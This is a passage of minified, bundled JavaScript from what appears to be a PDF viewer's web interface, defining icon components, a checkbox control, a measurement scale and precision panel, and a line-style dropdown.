12"},e),s.a.createElement("path",{d:"M5.67,8.35a.44.44,0,0,0,.66,0L9.93,4a.3.3,0,0,0,0-.35A.4.4,0,0,0,9.6,3.5H2.4a.4.4,0,0,0-.35.18.3.3,0,0,0,0,.35Z"}))}function Iv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M12,2C6.486,2,2,6.486,2,12s4.486,10,10,10s10-4.486,10-10S17.514,2,12,2z"}))}function Nv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M16.192 6.344L11.949 10.586 7.707 6.344 6.293 7.758 10.535 12 6.293 16.242 7.707 17.656 11.949 13.414 16.192 17.656 17.606 16.242 13.364 12 17.606 7.758z"}))}function Dv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M19 9L15 9 15 3 9 3 9 9 5 9 12 17zM4 19H20V21H4z"}))}function Fv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M9.172 16.242L12 13.414 14.828 16.242 16.242 14.828 13.414 12 16.242 9.172 14.828 7.758 12 10.586 9.172 7.758 7.758 9.172 10.586 12 7.758 14.828z"}),s.a.createElement("path",{d:"M12,22c5.514,0,10-4.486,10-10S17.514,2,12,2S2,6.486,2,12S6.486,22,12,22z M12,4c4.411,0,8,3.589,8,8s-3.589,8-8,8 s-8-3.589-8-8S7.589,4,12,4z"}))}function Bv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M12 19c.946 0 1.81-.103 2.598-.281l-1.757-1.757C12.568 16.983 12.291 17 12 17c-5.351 0-7.424-3.846-7.926-5 .204-.47.674-1.381 1.508-2.297L4.184 8.305c-1.538 1.667-2.121 3.346-2.132 3.379-.069.205-.069.428 0 .633C2.073 12.383 4.367 19 12 19zM12 5c-1.837 0-3.346.396-4.604.981L3.707 2.293 2.293 3.707l18 18 1.414-1.414-3.319-3.319c2.614-1.951 3.547-4.615 3.561-4.657.069-.205.069-.428 0-.633C21.927 11.617 19.633 5 12 5zM16.972 15.558l-2.28-2.28C14.882 12.888 15 12.459 15 12c0-1.641-1.359-3-3-3-.459 0-.888.118-1.277.309L8.915 7.501C9.796 7.193 10.814 7 12 7c5.351 0 7.424 3.846 7.926 5C19.624 12.692 18.76 14.342 16.972 15.558z"}))}function Hv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M12,2C6.486,2,2,6.486,2,12s4.486,10,10,10s10-4.486,10-10S17.514,2,12,2z M12,20c-4.411,0-8-3.589-8-8s3.589-8,8-8 s8,3.589,8,8S16.411,20,12,20z"}),s.a.createElement("path",{d:"M11 11H13V17H11zM11 7H13V9H11z"}))}function Vv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M4 6H20V8H4zM4 11H20V13H4zM4 16H20V18H4z"}))}function zv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M20.3,9.5 L20.3,20.3 C20.3,21.2 19.6,22 18.6,22 L11.1,22 L11.1,20.3 L18.6,20.3 L18.6,9.5 L20.3,9.5 Z M15.3,18.7 L5.3,18.7 C4.4,18.7 3.6,18 3.6,17 L3.6,3.7 C3.7,2.7 4.4,2 5.3,2 L12,2 L17,7 L17,17 C17,17.9 16.3,18.7 15.3,18.7 Z M12,7.8 L15.3,7.8 L11.1,3.6 L11.1,7.8 C11.2,7.8 11.5,7.8 12,7.8 Z"}))}function Uv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M15.55 5.55L11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10l4.55-4.45zM19.93 11c-.17-1.39-.72-2.73-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47h2.02zM13 17.9v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44c-.75.54-1.59.89-2.46 1.03zm3.89-2.42l1.42 1.41c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48z"}))}function Gv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M17.69,15.79a8.63,8.63,0,1,0-1.52,1.51l4.42,4.42a.42.42,0,0,0,.57,0l.94-.95a.39.39,0,0,0,0-.56Zm-5.28,1A6.42,6.42,0,1,1,17.19,12,6.43,6.43,0,0,1,12.41,16.8Z"}))}function Wv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M12,9c-1.642,0-3,1.359-3,3c0,1.642,1.358,3,3,3c1.641,0,3-1.358,3-3C15,10.359,13.641,9,12,9z"}),s.a.createElement("path",{d:"M12,5c-7.633,0-9.927,6.617-9.948,6.684L1.946,12l0.105,0.316C2.073,12.383,4.367,19,12,19s9.927-6.617,9.948-6.684 L22.054,12l-0.105-0.316C21.927,11.617,19.633,5,12,5z M12,17c-5.351,0-7.424-3.846-7.926-5C4.578,10.842,6.652,7,12,7 c5.351,0,7.424,3.846,7.926,5C19.422,13.158,17.348,17,12,17z"}))}function qv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M14,2 L6,2 C4.9,2 4,2.9 4,4 L4,20 C4,21.1 4.9,22 6,22 L18,22 C19.1,22 20,21.1 20,20 L20,8 L14,2 Z M14,9 C13.4,9 13,9 13,9 L13,4 L18,9 L14,9 Z"}))}function Zv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M12,2C6.486,2,2,6.486,2,12s4.486,10,10,10s10-4.486,10-10S17.514,2,12,2z M12,20c-4.411,0-8-3.589-8-8s3.589-8,8-8 s8,3.589,8,8S16.411,20,12,20z"}),s.a.createElement("path",{d:"M9.999 13.587L7.7 11.292 6.288 12.708 10.001 16.413 16.707 9.707 15.293 8.293z"}))}function Yv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M11.001 10H13.001V15H11.001zM11 16H13V18H11z"}),s.a.createElement("path",{d:"M13.768,4.2C13.42,3.545,12.742,3.138,12,3.138s-1.42,0.407-1.768,1.063L2.894,18.064 c-0.331,0.626-0.311,1.361,0.054,1.968C3.313,20.638,3.953,21,4.661,21h14.678c0.708,0,1.349-0.362,1.714-0.968 c0.364-0.606,0.385-1.342,0.054-1.968L13.768,4.2z M4.661,19L12,5.137L19.344,19H4.661z"}))}var $v=Object(l.forwardRef)((function(e,t){var n=e.icon,r=e.svgProps,o=e.className,i=e.children,u=_v(e,["icon","svgProps","className","children"]),c=js()("ui__base ui__icon",o),f=Object(l.useMemo)((function(){if(void 0!==i)return i;if(void 0!==a){var e=a[n];return s.a.createElement(e,Av({},r))}}),[i,n,r]);return s.a.createElement("i",Av({},u,{className:c,ref:t}),f)})),Kv=Object(l.forwardRef)((function(e,t){var n=e.label,r=e.leftLabel,o=e.className,i=e.children,a=e.id,u=e.radio,c=e.isSwitch,f=e.center,d=e.disabledLabelChange,p=e.onChange,h=e.onFocus,m=e.onBlur,g=_v(e,["label","leftLabel","className","children","id","radio","isSwitch","center","disabledLabelChange","onChange","onFocus","onBlur"]),v=Object(l.useRef)(null);Object(l.useImperativeHandle)(t,(function(){return v.current}));var y=function(e){void 0===e&&(e=Tv);var t=Object(l.useState)(e.value),n=t[0],r=t[1];return Object(l.useEffect)((function(){return e.subscribe((function(){return r(e.value)}))}),[e]),n}(),b=kv(h,m),w=b.focused,E=b.handleOnFocus,S=b.handleOnBlur,C=Rv(a),x=Object(l.useState)((function(){var e,t,n;return null!==(n=null!==(e=g.checked)&&void 0!==e?e:null===(t=v.current)||void 0===t?void 0:t.checked)&&void 0!==n&&n})),O=x[0],A=x[1];Object(l.useEffect)((function(){void 0!==g.checked&&A(g.checked)}),[g.checked]);Object(l.useEffect)((function(){if(g.name&&u)return Xv.subscribe(g.name,(function(){v.current&&v.current.checked!==O&&A(v.current.checked)}))}),[O,g.name,u]);var _=js()("ui__base ui__choice",{"ui__choice--radio":u,"ui__choice--leftLabel":r,"ui__choice--checked":O,"ui__choice--center":f,"ui__choice--disabled":g.disabled},o),T=js()("ui__choice__input",{"ui__choice__input--switch":c}),k=c?js()("ui__choice__input__switch",{"ui__choice__input__switch--checked":O,"ui__choice__input__switch--disabled":g.disabled,"ui__choice__input__switch--focus":y&&w}):js()("ui__choice__input__check",{"ui__choice__input__check--checked":O,"ui__choice__input__check--disabled":g.disabled,"ui__choice__input__check--focus":y&&w}),P=js()("ui__choice__label",{"ui__choice__label--disabled":g.disabled&&d}),M=Object(l.useMemo)((function(){if(n)return s.a.createElement("label",{className:P,htmlFor:C},n)}),[C,n,P]);return s.a.createElement("span",{className:_},r?M:void 0,s.a.createElement("span",{className:T},c?s.a.createElement("div",{className:k},s.a.createElement("div",{className:"ui__choice__input__toggle"})):s.a.createElement("div",{className:k},O&&!u?s.a.createElement($v,{icon:"Check",className:"ui__choice__input__icon"}):void 0),s.a.createElement("input",Av({},g,{id:C,type:u?"radio":"checkbox",onChange:function(e){void 0===g.checked&&A(e.target.checked),null==p||p(e)},ref:v,onFocus:E,onBlur:S}),i)),r?void 0:M)})),Xv=new(function(){function e(){this._subscribers=[]}return e.prototype.subscribe=function(e,t){return this._trigger(e),this._subscribers.push({name:e,subscriber:t}),this._unsubscribe(t)},e.prototype._trigger=function(e){this._subscribers.forEach((function(t){e===t.name&&t.subscriber()}))},e.prototype._unsubscribe=function(e){var t=this;return function(){t._subscribers=t._subscribers.filter((function(t){return t.subscriber!==e}))}},e}()),Qv=(n(950),["dataElement"]);function Jv(){return(Jv=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function ey(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var ty={dataElement:Is.a.string},ny=s.a.forwardRef((function(e,t){var n=e.dataElement,r=ey(e,Qv);return le((function(e){return!!n&&fi.isElementDisabled(e,n)}))?null:s.a.createElement(Kv,Jv({},r,{ref:t,center:!0}))}));ny.propTypes=ty;var ry=ny,oy=window.Tools.ToolNames,iy=window.Annotations.Annotation.MeasurementUnits,ay=function(e){return!(!e||!e.Measure)},ly=[oy.ARC_MEASUREMENT,oy.ARC_MEASUREMENT2,oy.ARC_MEASUREMENT3,oy.ARC_MEASUREMENT4,oy.DISTANCE_MEASUREMENT,oy.DISTANCE_MEASUREMENT2,oy.DISTANCE_MEASUREMENT3,oy.DISTANCE_MEASUREMENT4,oy.PERIMETER_MEASUREMENT,oy.PERIMETER_MEASUREMENT2,oy.PERIMETER_MEASUREMENT3,oy.PERIMETER_MEASUREMENT4,oy.AREA_MEASUREMENT,oy.AREA_MEASUREMENT2,oy.AREA_MEASUREMENT3,oy.AREA_MEASUREMENT4,oy.RECTANGULAR_AREA_MEASUREMENT,oy.RECTANGULAR_AREA_MEASUREMENT2,oy.RECTANGULAR_AREA_MEASUREMENT3,oy.RECTANGULAR_AREA_MEASUREMENT4,oy.CLOUDY_RECTANGULAR_AREA_MEASUREMENT,oy.CLOUDY_RECTANGULAR_AREA_MEASUREMENT2,oy.CLOUDY_RECTANGULAR_AREA_MEASUREMENT3,oy.CLOUDY_RECTANGULAR_AREA_MEASUREMENT4,oy.ELLIPSE_MEASUREMENT,oy.ELLIPSE_MEASUREMENT2,oy.ELLIPSE_MEASUREMENT3,oy.ELLIPSE_MEASUREMENT4];iy.PRIME_FT,iy.DOUBLE_PRIME_IN,n(951);function sy(e){return(sy="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function uy(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function cy(e,t){return(cy=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function fy(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=hy(e);if(t){var o=hy(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return dy(this,n)}}function dy(e,t){if(t&&("object"===sy(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return py(e)}function py(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function hy(e){return(hy=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function my(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var gy=[{value:.1,name:"0.1",format:"D"},{value:.01,name:"0.01",format:"D"},{value:.001,name:"0.001",format:"D"},{value:1e-4,name:"0.0001",format:"D"}],vy=[{value:.125,name:"1/8",format:"F"},{value:.0625,name:"1/16",format:"F"},{value:.03125,name:"1/32",format:"F"},{value:.015625,name:"1/64",format:"F"}],yy=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&cy(e,t)}(i,e);var t,n,r,o=fy(i);function i(e){var t,n;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),my(py(n=o.call(this,e)),"onDocumentLoaded",(function(){n.setState({documentType:vt.getDocument().getType()})})),my(py(n),"onScaleChange",(function(e,t){n.setState(my({},t,Number(e)),(function(){n.props.onStyleChange("Scale",[[n.state.currScaleFrom,n.state.currUnitFrom],[n.state.currScaleTo,n.state.currUnitTo]])}))})),my(py(n),"onPrecisionChange",(function(e,t){var r=n.props.onStyleChange;n.setState(my({},t,Number(e)),(function(){var e=n.state.currPrecision;r("Precision",e)}))})),my(py(n),"onUnitChange",(function(e,t){var r=n.props.onStyleChange,o=e.target.value;n.setState(my({},t,o),(function(){var e=[[n.state.currScaleFrom,n.state.currUnitFrom],[n.state.currScaleTo,n.state.currUnitTo]];r("Scale",e)}))})),my(py(n),"onSnappingChange",(function(e){if(vt.isFullPDFEnabled()){var t,r,o=e.target.checked,i=o?window.documentViewer.SnapMode.e_DefaultSnapMode|window.documentViewer.SnapMode.POINT_ON_LINE:null;(t=[],r=vt.getToolModeMap(),Object.values(r).forEach((function(e){ay(e)&&t.push(e)})),t).forEach((function(e){var t;null===(t=e.setSnapMode)||void 0===t||t.call(e,i)})),n.props.onSnapModeChange&&n.props.onSnapModeChange(o)}})),my(py(n),"getLanguage",(function(){var e="en";return st.language&&(e=st.language),e})),my(py(n),"formatValue",(function(e){var t=n.getLanguage();return"de"===t?e=e.toLocaleString("de-DE",{maximumFractionDigits:4}):"fr"===t?e=e.toLocaleString("fr-FR",{maximumFractionDigits:4}):"ru"===t&&(e=e.toLocaleString("ru-RU",{maximumFractionDigits:4})),e})),my(py(n),"renderScaleInput",(function(e,t){return Tt?s.a.createElement("input",{className:"ScaleInput",type:"number",step:"any",value:t,onChange:function(t){return n.onScaleChange(t.target.value,e)}}):s.a.createElement("input",{type:"number",inputMode:"decimal",step:"any",className:"ScaleInput",onChange:function(t){return n.onScaleChange(t.target.value,e)},value:n.formatValue(t)})})),n.state={currScaleFrom:e.scale[0][0],currUnitFrom:e.scale[0][1],currScaleTo:e.scale[1][0],currUnitTo:e.scale[1][1],currPrecision:e.precision,documentType:null===(t=vt.getDocument())||void 0===t?void 0:t.getType()},n}return t=i,(n=[{key:"componentDidMount",value:function(){vt.addEventListener("documentLoaded",this.onDocumentLoaded)}},{key:"componentDidUpdate",value:function(e){var t=this.props,n=t.scale,r=t.precision;this.props.scale!==e.scale&&this.setState({currScaleFrom:n[0][0],currUnitFrom:n[0][1],currScaleTo:n[1][0],currUnitTo:n[1][1]}),this.props.precision!==e.precision&&this.setState({currPrecision:r})}},{key:"componentWillUnmount",value:function(){vt.removeEventListener("documentLoaded",this.onDocumentLoaded)}},{key:"render",value:function(){var e=this,t=this.props,n=t.measurementUnits,r=t.t,o=t.isScaleInputDisabled,i=t.isPrecisionInputDisabled,a=t.isSnapModeEnabled,l=t.hideSnapModeCheckbox,u=n.from,c=n.to,f=function(e){switch(e){case iy.IN:case iy.FT_IN:return[].concat(vy,gy);default:return gy}}(this.state.currUnitTo);return o&&i?null:s.a.createElement("div",{className:"MeasurementOption"},!o&&s.a.createElement("div",{className:"Scale","data-element":Yh.SCALE_INPUT_CONTAINER},s.a.createElement("div",{className:"LayoutTitle"},r("option.measurementOption.scale")),s.a.createElement("div",{className:"Layout"},this.renderScaleInput("currScaleFrom",this.state.currScaleFrom),s.a.createElement("select",{className:"UnitInput",value:this.state.currUnitFrom,onChange:function(t){return e.onUnitChange(t,"currUnitFrom")}},u.map((function(e){return s.a.createElement("option",{key:e,value:e},e)}))),s.a.createElement("div",{className:"ScaleEquals"},"="),this.renderScaleInput("currScaleTo",this.state.currScaleTo),s.a.createElement("select",{className:"UnitInput",value:this.state.currUnitTo,onChange:function(t){return e.onUnitChange(t,"currUnitTo")}},c.map((function(e){return s.a.createElement("option",{key:e,value:e},e)}))))),!i&&s.a.createElement("div",{className:"Precision","data-element":Yh.PRECISION_INPUT_CONTAINER},s.a.createElement("div",{className:"LayoutTitlePrecision"},r("option.shared.precision")),s.a.createElement("div",{className:"LayoutPrecision"},s.a.createElement("select",{className:"PrecisionInput",value:this.state.currPrecision,onChange:function(t){return e.onPrecisionChange(t.target.value,"currPrecision")}},f.map((function(t){return s.a.createElement("option",{key:t.value,value:t.value},"F"===t.format?t.name:e.formatValue(t.value))}))))),this.state.documentType===zu&&!l&&s.a.createElement("div",{className:"options"},s.a.createElement(ry,{dataElement:"measurementSnappingOption",id:"measurement-snapping",type:"checkbox",label:r("option.shared.enableSnapping"),checked:a,onChange:this.onSnappingChange})))}}])&&uy(t.prototype,n),r&&uy(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.Component);my(yy,"propTypes",{scale:Is.a.arrayOf(Is.a.array).isRequired,precision:Is.a.number.isRequired,t:Is.a.func.isRequired,measurementUnits:Is.a.shape({from:Is.a.array,to:Is.a.array}).isRequired,onStyleChange:Is.a.func.isRequired,isScaleInputDisabled:Is.a.bool,isPrecisionInputDisabled:Is.a.bool,isSnapModeEnabled:Is.a.bool,hideSnapModeCheckbox:Is.a.bool,onSnapModeChange:Is.a.func});var by=Q((function(e){return{measurementUnits:fi.getMeasurementUnits(e),isScaleInputDisabled:fi.isElementDisabled(e,Yh.SCALE_INPUT_CONTAINER),isPrecisionInputDisabled:fi.isElementDisabled(e,Yh.PRECISION_INPUT_CONTAINER),isSnapModeEnabled:fi.isSnapModeEnabled(e),activeToolName:fi.getActiveToolName(e)}}),{onSnapModeChange:Ps.setEnableSnapMode})(xm()(yy));n(952);function wy(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Ey(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Ey(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Ey(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Sy(e){var t=e.borderStyle?e.borderStyle:"solid",n=wy(Ks(),1)[0];return s.a.createElement("div",{className:"StyleOption"},s.a.createElement("div",{className:"styles-container"},s.a.createElement("label",{className:"styles-title",htmlFor:"styleOptions"},n("option.styleOption.style")),s.a.createElement("div",{className:"styles-layout"},s.a.createElement("select",{id:"styleOptions",className:"styles-input",value:t,onChange:function(t){return function(t){e.onStyleChange("Style",t)}(t.target.value)}},["solid","cloudy"].map((function(e){return s.a.createElement("option",{key:e,value:e},n("option.styleOption.".concat(e)))}))))))}Sy.propTypes={onStyleChange:Is.a.func.isRequired,borderStyle:Is.a.string};var Cy=Sy;n(953);function xy(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Oy(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Oy(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Oy(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Ay={onClickItem:Is.a.func,items:Is.a.array,images:Is.a.array,width:Is.a.number,currentSelectionKey:Is.a.string,translationPrefix:Is.a.string,getTranslationLabel:Is.a.func,dataElement:Is.a.string,disabled:Is.a.bool,isFont:Is.a.bool,placeholder:Is.a.string,maxHeight:Is.a.number};function _y(e){var t=e.items,n=void 0===t?[]:t,r=e.images,o=void 0===r?[]:r,i=e.width,a=void 0===i?100:i,u=e.currentSelectionKey,c=e.translationPrefix,f=e.getTranslationLabel,d=e.onClickItem,p=e.dataElement,h=e.disabled,m=void 0!==h&&h,g=e.isFont,v=void 0!==g&&g,y=e.placeholder,b=void 0===y?null:y,w=e.maxHeight,E=Ks(),S=E.t,C=E.ready,x=Object(l.useRef)(null),O=Object(l.useRef)(null),A=xy(Object(l.useState)(!1),2),_=A[0],T=A[1],k=Object(l.useCallback)((function(){return T(!1)}),[]),P=Object(l.useCallback)((function(){return T((function(e){return!e}))}),[]);Object(l.useEffect)((function(){window.addEventListener("blur",(function(){T(!1)}))}),[]),Tp(_,k,x);var M=Object(l.useCallback)((function(e){O.current.contains(e.target)||T(!1)}),[]);yp(x,M);var R,j,L,I=Object(l.useCallback)((function(e,t){e.stopPropagation(),d(t),T(!1),O.current.focus()}),[d]),N=function(e,t){return f?S(f(t)):S("".concat(e,".").concat(t),t)},D=function(e,t,n){return e&&t&&n?{fontFamily:t,lineHeight:"28px"}:e&&t?{fontFamily:t}:n?{lineHeight:"28px"}:void 0};if(o&&o.length>0){var F=o.map((function(e){return e.key})),B=Ty(o,u);j=F.some((function(e){return e===u})),L=s.a.createElement(cf,{glyph:o[B].src,className:o[B].className}),R=Object(l.useMemo)((function(){return o.map((function(e){return s.a.createElement(Uf,{key:e.key,type:"button",dataElement:"dropdown-item-".concat(e.key),className:js()("Dropdown__item",{active:e.key===u}),tabIndex:_?void 0:-1,onClick:function(t){return I(t,e.key)}},s.a.createElement(cf,{glyph:e.src,className:e.className}))}))}),[o,u])}else j=n.some((function(e){return e===u})),L=C?N(c,u):"",R=Object(l.useMemo)((function(){return n.map((function(e){return s.a.createElement(Uf,{key:e,type:"button",dataElement:"dropdown-item-".concat(e),className:js()("Dropdown__item",{active:e===u}),onClick:function(t){return I(t,e)},tabIndex:_?void 0:-1,style:D(v,e,w)},N(c,e))}))}),[u,_,n,I,S,c]);var H={width:"".concat(a,"px")},V={maxHeight:"".concat(w,"px")};return s.a.createElement(Uf,{className:"Dropdown__wrapper",dataElement:p},s.a.createElement("button",{className:"Dropdown",style:H,onClick:P,ref:O,disabled:m},s.a.createElement("div",{className:"picked-option"},j&&s.a.createElement("div",{className:"picked-option-text",style:v?{fontFamily:u}:void 0},L),!j&&b&&s.a.createElement("div",{className:"picked-option-text"},b),s.a.createElement(cf,{className:"arrow",glyph:"icon-chevron-".concat(_?"up":"down")}))),s.a.createElement("div",{className:js()("Dropdown__items",{hide:!_}),ref:x,role:"listbox","aria-label":S("".concat(c,".dropdownLabel")),style:w?V:void 0},R))}var Ty=function(e,t){if(!e||0===e.length)return-1;var n=-1;return e.forEach((function(e,r){e.key===t&&(n=r)})),n};_y.propTypes=Ay;var ky=_y;n(954);function Py(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return My(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return My(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function My(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Ry=[{className:"linestyle-image",key:"None",src:"icon-linestyle-none"},{className:"linestyle-image shift-alignment",key:"ClosedArrow",src:"icon-linestyle-start-arrow-closed"},{className:"linestyle-image shift-alignment",key:"OpenArrow",src:"icon-linestyle-start-arrow-open"},{className:"linestyle-image shift-alignment",key:"ROpenArrow",src:"icon-linestyle-start-arrow-open-reverse"},{className:"linestyle-image shift-alignment",key:"RClosedArrow",src:"icon-linestyle-start-arrow-closed-reverse"},{className:"linestyle-image shift-alignment",key:"Butt",src:"icon-linestyle-start-butt"},{className:"linestyle-image shift-alignment",key:"Circle",src:"icon-linestyle-start-circle"},{className:"linestyle-image shift-alignment",key:"Diamond",src:"icon-linestyle-start-diamond"},{className:"linestyle-image shift-alignment",key:"Square",src:"icon-linestyle-start-square"},{className:"linestyle-image shift-alignment",key:"Slash",src:"icon-linestyle-start-slash"}],jy=[{className:"linestyle-image",key:"None",src:"icon-linestyle-none"},{className:"linestyle-image shift-alignment",key:"ClosedArrow",src:"icon-linestyle-end-arrow-closed"},{className:"linestyle-image shift-alignment",key:"OpenArrow",src:"icon-linestyle-end-arrow-open"},{className:"linestyle-image shift-alignment",key:"ROpenArrow",src:"icon-linestyle-end-arrow-open-reverse"},{className:"linestyle-image shift-alignment",key:"RClosedArrow",src:"icon-linestyle-end-arrow-closed-reverse"},{className:"linestyle-image shift-alignment",key:"Butt",src:"icon-linestyle-end-butt"},{className:"linestyle-image shift-alignment",key:"Circle",src:"icon-linestyle-end-circle"},{className:"linestyle-image shift-alignment",key:"Diamond",src:"icon-linestyle-end-diamond"},{className:"linestyle-image shift-alignment",key:"Square",src:"icon-linestyle-end-square"},{className:"linestyle-image shift-alignment",key:"Slash",src:"icon-linestyle-end-slash"}];var Ly=function(e){var t=e.properties,n=e.onLineStyleChange,r=Py(Ks(),1)[0],o=Py(Object(l.useState)(t.StartLineStyle),2),i=o[0],a=o[1],u=Py(Object(l.useState)(t.EndLineStyle),2),c=u[0],f=u[1],d=Py(Object(l.useState)(!1),2),p=d[0],h=d[1];function m(e){e.clientY>window.innerHeight/2?h(!0):h(!1)}Object(l.useEffect)((function(){return window.addEventListener("click",m),function(){window.addEventListener("click",m)}}),[]);var 